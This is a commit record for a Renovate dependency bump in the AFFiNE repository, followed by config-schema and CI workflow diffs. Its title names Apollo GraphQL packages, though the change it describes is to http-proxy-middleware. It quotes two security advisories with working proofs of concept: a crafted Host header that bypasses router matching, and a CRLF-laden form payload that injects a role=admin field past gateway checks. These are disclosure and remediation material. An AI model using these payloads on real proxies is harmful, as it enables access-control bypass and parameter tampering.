chore: bump up Apollo GraphQL packages

This PR contains the following updates:

| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
|
[http-proxy-middleware](https://redirect.github.com/chimurai/http-proxy-middleware)
| [`3.0.5` →
`3.0.7`](https://renovatebot.com/diffs/npm/http-proxy-middleware/3.0.5/3.0.7)
|
![age](https://developer.mend.io/api/mc/badges/age/npm/http-proxy-middleware/3.0.7?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/http-proxy-middleware/3.0.5/3.0.7?slim=true)
|

---

### http-proxy-middleware `router` host+path substring matching allows
Host-header-driven backend routing bypass
[CVE-2026-55602](https://nvd.nist.gov/vuln/detail/CVE-2026-55602) /
[GHSA-64mm-vxmg-q3vj](https://redirect.github.com/advisories/GHSA-64mm-vxmg-q3vj)

<details>
<summary>More information</summary>

#### Details
##### Summary

`http-proxy-middleware` documents `router` proxy-table entries as host,
path, or host+path selectors, but the host+path implementation uses
unanchored substring matching on attacker-controlled request metadata.
As a result, a crafted `Host` header that is only a superstring match
for a configured host+path key can still route a request to an
unintended backend.

##### Details

Tested code state:

- validated on tag `v4.0.0-beta.5`
- corresponding commit: `339f09ede860197807d4fd99ed9020fa5d0bd358`

Relevant code locations:

- `src/router.ts`
- `src/http-proxy-middleware.ts`

Affected public API:

- `createProxyMiddleware({ router: { 'host/path': 'http://target' } })`

Code explanation:

When a proxy-table router key contains `/`, `getTargetFromProxyTable()`
concatenates attacker-controlled `req.headers.host` and `req.url` into a
single `hostAndPath` string, then accepts the route if:

```ts
hostAndPath.indexOf(key) > -1
```

That is a substring test, not an exact host match plus intended path
match. In the validated PoC, the configured router key is:

```txt
localhost:3000/api
```

but the attacker-controlled host is:

```txt
evillocalhost:3000
```

and the request path is:

```txt
/api
```

The concatenated attacker-controlled string:

```txt
evillocalhost:3000/api
```

still contains the configured router key as a substring, so the
middleware selects the alternate backend even though the host is not
equal to the configured host.

Exploit path:

1. the application enables the documented proxy-table `router` feature
with at least one host+path rule
2. an external attacker sends an ordinary HTTP request with a crafted
`Host` header
3. `HttpProxyMiddleware.prepareProxyRequest()` applies router selection
before proxying
4. `getTargetFromProxyTable()` accepts the crafted `Host + path` string
through substring matching
5. the request is proxied to the wrong backend

##### PoC

Create these files in the same working directory and run:

```bash
bash ./run.sh
```

##### File: `run.sh`

```bash

#!/usr/bin/env bash
set -euo pipefail

SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
REPO_URL="https://github.com/chimurai/http-proxy-middleware.git"
REPO_REF="v4.0.0-beta.5"
WORKDIR="$(mktemp -d "${SCRIPT_DIR}/.tmp-repro.XXXXXX")"
TARGET_REPO_DIR="${WORKDIR}/repo"
REPRO_DIR="${WORKDIR}/reproduction"
IMAGE_TAG="http-proxy-middleware-router-bypass-poc"

cleanup() {
  rm -rf "${WORKDIR}"
}
trap cleanup EXIT

echo "[a3] cloning target repository"
git clone --quiet "${REPO_URL}" "${TARGET_REPO_DIR}"
git -C "${TARGET_REPO_DIR}" checkout --quiet "${REPO_REF}"

mkdir -p "${REPRO_DIR}"
cp "${SCRIPT_DIR}/Dockerfile" "${WORKDIR}/Dockerfile"
cp "${SCRIPT_DIR}/verify.mjs" "${REPRO_DIR}/verify.mjs"

echo "[a3] building reproduction image"
docker build -f "${WORKDIR}/Dockerfile" -t "${IMAGE_TAG}" "${WORKDIR}"

echo "[a3] running verification"
docker run --rm "${IMAGE_TAG}" node /work/reproduction/verify.mjs
```

##### File: `Dockerfile`

```Dockerfile
FROM node:22-bullseye

WORKDIR /work

COPY repo/package.json repo/yarn.lock /work/repo/

RUN corepack enable \
  && cd /work/repo \
  && yarn install --frozen-lockfile

COPY repo /work/repo
RUN cd /work/repo && yarn build

COPY reproduction /work/reproduction
```

##### File: `verify.mjs`

```js
import http from 'node:http';
import fs from 'node:fs';
import assert from 'node:assert/strict';

import { createProxyMiddleware } from '/work/repo/dist/index.js';

const ROUTER_KEY = 'localhost:3000/api';
const CRAFTED_HOST = 'evillocalhost:3000';

function listen(server, port) {
  return new Promise((resolve) => {
    server.listen(port, '127.0.0.1', () => resolve());
  });
}

function close(server) {
  return new Promise((resolve, reject) => {
    server.close((err) => {
      if (err) {
        reject(err);
        return;
      }
      resolve();
    });
  });
}

function request(path, host) {
  return new Promise((resolve, reject) => {
    const req = http.request(
      {
        host: '127.0.0.1',
        port: 3000,
        path,
        method: 'GET',
        headers: {
          Host: host,
        },
      },
      (res) => {
        let data = '';
        res.setEncoding('utf8');
        res.on('data', (chunk) => {
          data += chunk;
        });
        res.on('end', () => {
          resolve({ statusCode: res.statusCode, body: data });
        });
      },
    );
    req.on('error', reject);
    req.end();
  });
}

const defaultBackend = http.createServer((req, res) => {
  res.end('DEFAULT');
});

const secretBackend = http.createServer((req, res) => {
  res.end('SECRET');
});

const proxyMiddleware = createProxyMiddleware({
  target: 'http://127.0.0.1:3101',
  router: {
    [ROUTER_KEY]: 'http://127.0.0.1:3102',
  },
});

const proxyServer = http.createServer((req, res) => {
  proxyMiddleware(req, res, () => {
    res.statusCode = 404;
    res.end('NO_PROXY');
  });
});

try {
  assert.ok(fs.existsSync('/work/repo/dist/index.js'));
  assert.ok(fs.existsSync('/work/reproduction/verify.mjs'));

  await listen(defaultBackend, 3101);
  await listen(secretBackend, 3102);
  await listen(proxyServer, 3000);
  console.log('STEP start-services ok');

  const baseline = await request('/api', 'safe.example:3000');
  assert.equal(baseline.statusCode, 200);
  assert.equal(baseline.body, 'DEFAULT');
  console.log(`STEP baseline-route body=${baseline.body}`);

  const crafted = await request('/api', CRAFTED_HOST);
  assert.equal(crafted.statusCode, 200);
  assert.equal(crafted.body, 'SECRET');
  assert.notEqual(CRAFTED_HOST, ROUTER_KEY.split('/')[0]);
  console.log(`STEP crafted-route body=${crafted.body}`);

  console.log('RESULT reproduced host_header_injection router substring match bypass');
} finally {
  await Promise.allSettled([close(proxyServer), close(defaultBackend), close(secretBackend)]);
}
```

This PoC starts:

- one default backend returning `DEFAULT`
- one alternate backend returning `SECRET`
- one proxy using:

```js
createProxyMiddleware({
  target: 'http://127.0.0.1:3101',
  router: {
    [ROUTER_KEY]: 'http://127.0.0.1:3102',
  },
});
```

It then sends:

1. a baseline request to `/api` with `Host: safe.example:3000`
2. a crafted request to `/api` with `Host: evillocalhost:3000`

Observed result from the validated PoC:

- baseline request: `STEP baseline-route body=DEFAULT`
- crafted request: `STEP crafted-route body=SECRET`
- success marker: `RESULT reproduced host_header_injection router
substring match bypass`

The PoC is considered successful only if:

1. the baseline request stays on the default backend
2. the crafted request reaches the alternate backend
3. the crafted host is not equal to the configured router host

##### Impact

This is a backend-selection integrity issue in a documented library
feature. Applications that use host+path router-table rules for backend
segmentation, tenant routing, or separation of public and more sensitive
upstreams can have that routing boundary bypassed by an unauthenticated
external client using an ordinary crafted `Host` header.

#### Severity
- CVSS Score: 6.9 / 10 (Medium)
- Vector String:
`CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N`

#### References
-
[https://github.com/chimurai/http-proxy-middleware/security/advisories/GHSA-64mm-vxmg-q3vj](https://redirect.github.com/chimurai/http-proxy-middleware/security/advisories/GHSA-64mm-vxmg-q3vj)
-
[https://github.com/advisories/GHSA-64mm-vxmg-q3vj](https://redirect.github.com/advisories/GHSA-64mm-vxmg-q3vj)

This data is provided by the [GitHub Advisory
Database](https://redirect.github.com/advisories/GHSA-64mm-vxmg-q3vj)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### http-proxy-middleware: multipart/form-data field injection via
unescaped CRLF in `fixRequestBody`
[CVE-2026-55603](https://nvd.nist.gov/vuln/detail/CVE-2026-55603) /
[GHSA-gcq2-9pq2-cxqm](https://redirect.github.com/advisories/GHSA-gcq2-9pq2-cxqm)

<details>
<summary>More information</summary>

#### Details
##### Summary
`fixRequestBody()` is the library's documented helper for re-emitting a
request body that was already consumed by a body parser. When the
**outgoing** `Content-Type` is `multipart/form-data`, it rebuilds the
body with `handlerFormDataBodyData()`, which interpolates each
`req.body` key and value directly into the multipart wire format
**without neutralizing CR/LF**:

```js
// dist/handlers/fix-request-body.js
function handlerFormDataBodyData(contentType, data) {
  const boundary = contentType.replace(/^.*boundary=(.*)$/, '$1');
  let str = '';
  for (const [key, value] of Object.entries(data)) {
    str += `--${boundary}\r\nContent-Disposition: form-data; name="${key}"\r\n\r\n${value}\r\n`;
  }
}
```

A `\r\n` inside a value (or key) lets an attacker close the current part
and inject an **entirely new form part**. Because the proxy's own body
parser saw a single opaque value, any gateway-side policy or validation
performed on `req.body` is evaluated against a different set of fields
than the upstream backend ultimately parses a request/parameter
desynchronization across the trust boundary.

By contrast, the sibling output branches are safe: `application/json`
uses `JSON.stringify` (escapes control chars) and
`application/x-www-form-urlencoded` uses `querystring.stringify`
(percent-encodes). Only the multipart branch lacks escaping.

##### Preconditions 
All three must hold; this narrows real-world exposure and is the basis
for `AC:H`:
1. The proxy app populates `req.body` with a **non-multipart** parser
(`express.urlencoded`, `express.json`, or text) so an injected boundary
in a value is **not** split on input.
2. The proxied (outgoing) request is sent as **`multipart/form-data`**
(e.g. an adaptation layer, or any flow that sets the upstream
content-type to multipart), so the vulnerable branch runs.
3. The app calls `fixRequestBody` (the documented pattern for "I
body-parsed, now re-stream"), and an attacker controls at least one body
field value or key.

> Note: a pure multipart-in → multipart-out flow (e.g. `multer`) is
generally **not** exploitable for a *new-field* injection, because the
proxy's multipart parser already splits the injected boundary, so
`req.body` and the backend agree. The desync specifically requires a
non-multipart input parser.

##### Impact
When the preconditions hold, an attacker injects/overrides multipart
fields seen only by the backend:
- **Validation / access-control bypass** bypass gateway-side field
checks (demonstrated below: a gateway that forbids `role=admin` is
bypassed; backend grants admin).
- **Parameter tampering** add or overwrite fields the backend trusts
(IDs, flags, prices).
- **File-part injection** inject a `filename="..."` part into the
upstream multipart stream.

##### Proof of Concept

```js
// npm i http-proxy-middleware@4.0.0   (Node ESM: save as minimal.mjs)
import { fixRequestBody } from 'http-proxy-middleware';

// `req.body` as a NON-multipart parser (express.urlencoded / express.json) yields it.
// The attacker sent  user=alice%0D%0A--BB%0D%0A...  so this ONE field's value holds CRLF:
const req = { readableLength: 0, body: {
  user: 'alice\r\n--BB\r\nContent-Disposition: form-data; name="role"\r\n\r\nadmin\r\n--BB--'
}};

// Minimal stand-in for the outgoing proxy request; capture what gets written.
const out = [];
const proxyReq = {
  h: { 'content-type': 'multipart/form-data; boundary=BB' },
  getHeader(n){ return this.h[n.toLowerCase()]; },
  setHeader(n,v){ this.h[n.toLowerCase()] = v; },
  write(d){ out.push(Buffer.from(d)); },
};

fixRequestBody(proxyReq, req);          // library rebuilds the multipart body
console.log(Buffer.concat(out).toString());
```

Output: one input field becomes **two** parts; `role=admin` was injected
via the unescaped CRLF:

```
--BB
Content-Disposition: form-data; name="user"

alice
--BB
Content-Disposition: form-data; name="role"     <-- injected part; never present in req.body's keys
admin
--BB--
```

`req.body` had a single key (`user`), so any gateway policy checking
`req.body.role` passes, yet the backend's multipart parser receives
`role=admin`. On the wire the attacker simply sends, as
`application/x-www-form-urlencoded`:
`user=alice%0D%0A--BB%0D%0AContent-Disposition:%20form-data;%20name="role"%0D%0A%0D%0Aadmin%0D%0A--BB--`

##### Remediation
Neutralize CR/LF (and `"`) in keys/values before interpolation, or build
the body with a real multipart encoder (e.g. `FormData` / `form-data`)
instead of string concatenation. Minimal fix:

```js
function handlerFormDataBodyData(contentType, data) {
  const boundary = contentType.replace(/^.*boundary=(.*)$/, '$1');
  const bad = /[\r\n]/;
  let str = '';
  for (const [key, value] of Object.entries(data)) {
    const v = String(value);
    if (bad.test(key) || bad.test(v)) {
      throw new Error('fixRequestBody: CR/LF not allowed in multipart field name/value');
    }
    str += `--${boundary}\r\nContent-Disposition: form-data; name="${key.replace(/"/g, '%22')}"\r\n\r\n${v}\r\n`;
  }
}
```
(Reject is preferable to silent stripping, to avoid masking malicious
input.)

#### Severity
- CVSS Score: 7.5 / 10 (High)
- Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:H/A:N`

#### References
-
[https://github.com/chimurai/http-proxy-middleware/security/advisories/GHSA-gcq2-9pq2-cxqm](https://redirect.github.com/chimurai/http-proxy-middleware/security/advisories/GHSA-gcq2-9pq2-cxqm)
-
[https://github.com/advisories/GHSA-gcq2-9pq2-cxqm](https://redirect.github.com/advisories/GHSA-gcq2-9pq2-cxqm)

This data is provided by the [GitHub Advisory
Database](https://redirect.github.com/advisories/GHSA-gcq2-9pq2-cxqm)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### Release Notes

<details>
<summary>chimurai/http-proxy-middleware
(http-proxy-middleware)</summary>

###
[`v3.0.7`](https://redirect.github.com/chimurai/http-proxy-middleware/releases/tag/v3.0.7)

[Compare
Source](https://redirect.github.com/chimurai/http-proxy-middleware/compare/v3.0.6...v3.0.7)

#### What's Changed

- fix(fixRequestBody): harden form-data stringification by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1259](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1259)
- chore(package.json): v3.0.7 by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1261](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1261)

**Full Changelog**:
<https://github.com/chimurai/http-proxy-middleware/compare/v3.0.6...v3.0.7>

###
[`v3.0.6`](https://redirect.github.com/chimurai/http-proxy-middleware/releases/tag/v3.0.6)

[Compare
Source](https://redirect.github.com/chimurai/http-proxy-middleware/compare/v3.0.5...v3.0.6)

#### What's Changed

- fix(types): fix Logger type by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1104](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1104)
- fix(fixRequestBody): support text/plain by
[@&#8203;knudtty](https://redirect.github.com/knudtty) in
[#&#8203;1103](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1103)
- chore(examples): bump deps by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1105](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1105)
- build(prettier): improve prettier setup by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1108](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1108)
- chore(deps): fix punycode node deprecation warning by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1109](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1109)
- chore(examples): bump deps by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1110](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1110)
- build(codespaces): add devcontainer.json by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1112](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1112)
- chore(package): bump dev dependencies by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1116](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1116)
- ci(github-action): ci.yml add node v24 by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1117](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1117)
- chore(package): bump dev dependencies by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1118](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1118)
- chore(package): upgrade to jest v30 by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1122](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1122)
- chore(examples): upgrade deps by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1124](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1124)
- chore(package): update dev deps by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1125](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1125)
- test(websocket): fix ws import by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1126](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1126)
- chore(refactor): use `node:` protocol imports by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1127](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1127)
- ci(node24): pin node24 due to TLS issue with mockttp by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1137](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1137)
- docs(recipes/pathRewrite.md): fix comment by
[@&#8203;DEBargha2004](https://redirect.github.com/DEBargha2004) in
[#&#8203;1135](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1135)
- chore(package): bump dev deps by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1138](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1138)
- chore(deps): update actions/checkout action to v5 by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1140](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1140)
- fix(error-response-plugin): sanitize input by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1141](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1141)
- chore(package.json): update dev deps by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1143](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1143)
- chore: add context7.json by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1144](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1144)
- build(eslint): update eslint.config.mjs by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1145](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1145)
- ci(github workflow): harden github workflows by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1146](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1146)
- chore(package): bump dev deps by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1147](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1147)
- ci(ci.yml): unpin node 24 by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1148](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1148)
- docs(recipes): fix servers.md http.createServer example by
[@&#8203;hacklschorsch](https://redirect.github.com/hacklschorsch) in
[#&#8203;1150](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1150)
- ci: publish with oidc by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1152](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1152)
- chore(package.json): bump dev deps by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1153](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1153)
- chore(package.json): bump dev deps by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1155](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1155)
- chore(package.json): bump dev deps by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1158](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1158)
- test(types.spec.ts): add type check when req or res are 'any' by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1161](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1161)
- chore(package.json): bump deps by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1164](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1164)
- chore(package.json): eslint v10 by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1165](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1165)
- chore(package.json): bump dev deps by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1166](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1166)
- chore(package.json): bump dev-deps by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1171](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1171)
- docs(examples): fix websocket example by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1170](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1170)
- build(vscode): use workspace version of TypeScript by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1173](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1173)
- fix(router): harden proxy-table matching by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1254](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1254)
- chore(package.json): v3.0.6 by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1256](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1256)

#### New Contributors

- [@&#8203;knudtty](https://redirect.github.com/knudtty) made their
first contribution in
[#&#8203;1103](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1103)
- [@&#8203;DEBargha2004](https://redirect.github.com/DEBargha2004) made
their first contribution in
[#&#8203;1135](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1135)
- [@&#8203;hacklschorsch](https://redirect.github.com/hacklschorsch)
made their first contribution in
[#&#8203;1150](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1150)

**Full Changelog**:
<https://github.com/chimurai/http-proxy-middleware/compare/v3.0.5...v3.0.6>

</details>

---

### Configuration

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- Branch creation
  - At any time (no schedule defined)
- Automerge
  - At any time (no schedule defined)

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

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---

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---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4yMzEuMSIsInVwZGF0ZWRJblZlciI6IjQzLjIzMS4xIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

.docker/selfhost/schema.json

@@ -175,6 +175,11 @@
           "description": "Whether require email verification before accessing restricted resources(not implemented).\n@default true",
           "default": true
         },
+        "newAccountShareActionDelay": {
+          "type": "number",
+          "description": "Minimum account age in seconds before new accounts can invite members or create share links.\n@default 86400",
+          "default": 86400
+        },
         "passwordRequirements": {
           "type": "object",
           "description": "The password strength requirements when set new password.\n@default {\"min\":8,\"max\":32}",
@@ -1405,22 +1410,6 @@
         }
       }
     },
-    "customerIo": {
-      "type": "object",
-      "description": "Configuration for customerIo module",
-      "properties": {
-        "enabled": {
-          "type": "boolean",
-          "description": "Enable customer.io integration\n@default false",
-          "default": false
-        },
-        "token": {
-          "type": "string",
-          "description": "Customer.io token\n@default \"\"",
-          "default": ""
-        }
-      }
-    },
     "oauth": {
       "type": "object",
       "description": "Configuration for oauth module",
@@ -1519,16 +1508,6 @@
           "description": "Whether enable lifetime price and allow user to pay for it.\n@default true",
           "default": true
         },
-        "apiKey": {
-          "type": "string",
-          "description": "[Deprecated] Stripe API key. Use payment.stripe.apiKey instead.\n@default \"\"\n@environment `STRIPE_API_KEY`",
-          "default": ""
-        },
-        "webhookKey": {
-          "type": "string",
-          "description": "[Deprecated] Stripe webhook key. Use payment.stripe.webhookKey instead.\n@default \"\"\n@environment `STRIPE_WEBHOOK_KEY`",
-          "default": ""
-        },
         "stripe": {
           "type": "object",
           "description": "Stripe sdk options and credentials\n@default {\"apiKey\":\"\",\"webhookKey\":\"\"}\n@link https://docs.stripe.com/api",

.github/actions/build-rust/action.yml

@@ -59,13 +59,20 @@ runs:
           echo "TARGET_CC=clang -D_BSD_SOURCE" >> "$GITHUB_ENV"
         fi
 
+    - name: Prepare cache key
+      id: cache-key
+      shell: bash
+      run: |
+        shared_key="$(printf '%s' "${{ inputs.target }}-${{ inputs.package }}" | tr -c 'A-Za-z0-9_.-' '-')"
+        echo "shared-key=$shared_key" >> "$GITHUB_OUTPUT"
+
     - name: Cache cargo
       uses: Swatinem/rust-cache@v2
       if: ${{ runner.os == 'Windows' }}
       with:
         workspaces: ${{ env.DEV_DRIVE_WORKSPACE }}
         save-if: ${{ github.ref_name == 'canary' }}
-        shared-key: ${{ inputs.target }}-${{ inputs.package }}
+        shared-key: ${{ steps.cache-key.outputs.shared-key }}
       env:
         CARGO_HOME: ${{ env.DEV_DRIVE }}/.cargo
         RUSTUP_HOME: ${{ env.DEV_DRIVE }}/.rustup
@@ -75,7 +82,7 @@ runs:
       if: ${{ runner.os != 'Windows' }}
       with:
         save-if: ${{ github.ref_name == 'canary' }}
-        shared-key: ${{ inputs.target }}-${{ inputs.package }}
+        shared-key: ${{ steps.cache-key.outputs.shared-key }}
 
     - name: Build
       shell: bash

.github/renovate.json

@@ -31,7 +31,7 @@
       "groupSlug": "all-minor-patch",
       "matchUpdateTypes": ["minor", "patch"],
       "matchManagers": ["npm"],
-      "matchPackageNames": ["*", "!/^@blocksuite//", "!/oxlint/"]
+      "excludePackagePatterns": ["^@blocksuite/", "^oxlint$"]
     },
     {
       "groupName": "all non-major dependencies",

.github/workflows/build-test.yml

@@ -135,6 +135,159 @@ jobs:
             echo "All changes are submitted"
           fi
 
+  mobile-native-build-filter:
+    name: Mobile native build filter
+    runs-on: ubuntu-latest
+    outputs:
+      run-android: ${{ steps.mobile-native-filter.outputs.android }}
+      run-ios: ${{ steps.mobile-native-filter.outputs.ios }}
+    steps:
+      - uses: actions/checkout@v6
+
+      - uses: dorny/paths-filter@v3
+        id: mobile-native-filter
+        with:
+          filters: |
+            android:
+              - '.github/workflows/build-test.yml'
+              - 'packages/frontend/apps/android/**'
+              - 'packages/frontend/mobile-native/**'
+              - '.cargo/**'
+              - 'Cargo.lock'
+              - 'Cargo.toml'
+              - 'rust-toolchain*'
+            ios:
+              - '.github/workflows/build-test.yml'
+              - 'packages/frontend/apps/ios/**'
+              - 'packages/frontend/mobile-native/**'
+              - '.cargo/**'
+              - 'Cargo.lock'
+              - 'Cargo.toml'
+              - 'rust-toolchain*'
+
+  build-android-app:
+    name: Build Android app
+    if: ${{ needs.mobile-native-build-filter.outputs.run-android == 'true' }}
+    runs-on: ubuntu-latest
+    needs:
+      - mobile-native-build-filter
+    steps:
+      - uses: actions/checkout@v6
+
+      - name: Setup Node.js
+        uses: ./.github/actions/setup-node
+        with:
+          extra-flags: workspaces focus @affine/monorepo @affine-tools/cli @affine/android
+          electron-install: false
+
+      - uses: actions/setup-java@v5
+        with:
+          distribution: 'temurin'
+          java-version: '21'
+          cache: 'gradle'
+
+      - name: Setup Rust
+        uses: ./.github/actions/build-rust
+        with:
+          target: 'aarch64-linux-android'
+          package: 'affine_mobile_native'
+          no-build: 'true'
+
+      - name: Build Android web assets
+        run: yarn affine @affine/android build
+        env:
+          PUBLIC_PATH: '/'
+
+      - name: Write CI Firebase config
+        run: |
+          cat > packages/frontend/apps/android/App/app/google-services.json <<'JSON'
+          {
+            "project_info": {
+              "project_number": "1",
+              "project_id": "affine-ci",
+              "storage_bucket": "affine-ci.appspot.com"
+            },
+            "client": [
+              {
+                "client_info": {
+                  "mobilesdk_app_id": "1:1:android:0000000000000000",
+                  "android_client_info": {
+                    "package_name": "app.affine.pro"
+                  }
+                },
+                "oauth_client": [],
+                "api_key": [
+                  {
+                    "current_key": "ci-placeholder"
+                  }
+                ],
+                "services": {
+                  "appinvite_service": {
+                    "other_platform_oauth_client": []
+                  }
+                }
+              }
+            ],
+            "configuration_version": "1"
+          }
+          JSON
+
+      - name: Cap sync
+        run: yarn workspace @affine/android cap sync
+
+      - name: Build Android debug app
+        working-directory: packages/frontend/apps/android/App
+        run: ./gradlew :app:assembleCanaryDebug --no-daemon --stacktrace
+
+  build-ios-app:
+    name: Build iOS app
+    if: ${{ needs.mobile-native-build-filter.outputs.run-ios == 'true' }}
+    runs-on: macos-15
+    needs:
+      - mobile-native-build-filter
+    steps:
+      - uses: actions/checkout@v6
+
+      - name: Setup Node.js
+        uses: ./.github/actions/setup-node
+        with:
+          extra-flags: workspaces focus @affine/monorepo @affine-tools/cli @affine/ios
+          electron-install: false
+          hard-link-nm: false
+
+      - uses: maxim-lobanov/setup-xcode@v1
+        with:
+          xcode-version: 26.2
+
+      - name: Setup Rust
+        uses: ./.github/actions/build-rust
+        with:
+          target: 'aarch64-apple-ios-sim'
+          package: 'affine_mobile_native'
+          no-build: 'true'
+
+      - name: Build iOS web assets
+        run: yarn affine @affine/ios build
+        env:
+          PUBLIC_PATH: '/'
+
+      - name: Cap sync
+        run: yarn workspace @affine/ios sync
+
+      - name: Build iOS simulator app
+        run: |
+          xcodebuild \
+            -workspace packages/frontend/apps/ios/App/App.xcworkspace \
+            -scheme App \
+            -configuration Debug \
+            -sdk iphonesimulator \
+            -destination 'generic/platform=iOS Simulator' \
+            ARCHS=arm64 \
+            ONLY_ACTIVE_ARCH=YES \
+            CODE_SIGNING_ALLOWED=NO \
+            CODE_SIGNING_REQUIRED=NO \
+            build
+
   rust-test-filter:
     name: Rust test filter
     runs-on: ubuntu-latest
@@ -795,99 +948,6 @@ jobs:
           name: affine
           fail_ci_if_error: false
 
-  miri:
-    name: miri code check
-    if: ${{ needs.rust-test-filter.outputs.run-rust == 'true' }}
-    runs-on: ubuntu-latest
-    needs:
-      - rust-test-filter
-    env:
-      RUST_BACKTRACE: full
-      CARGO_TERM_COLOR: always
-      MIRIFLAGS: -Zmiri-backtrace=full -Zmiri-tree-borrows
-    steps:
-      - uses: actions/checkout@v6
-
-      - name: Setup Rust
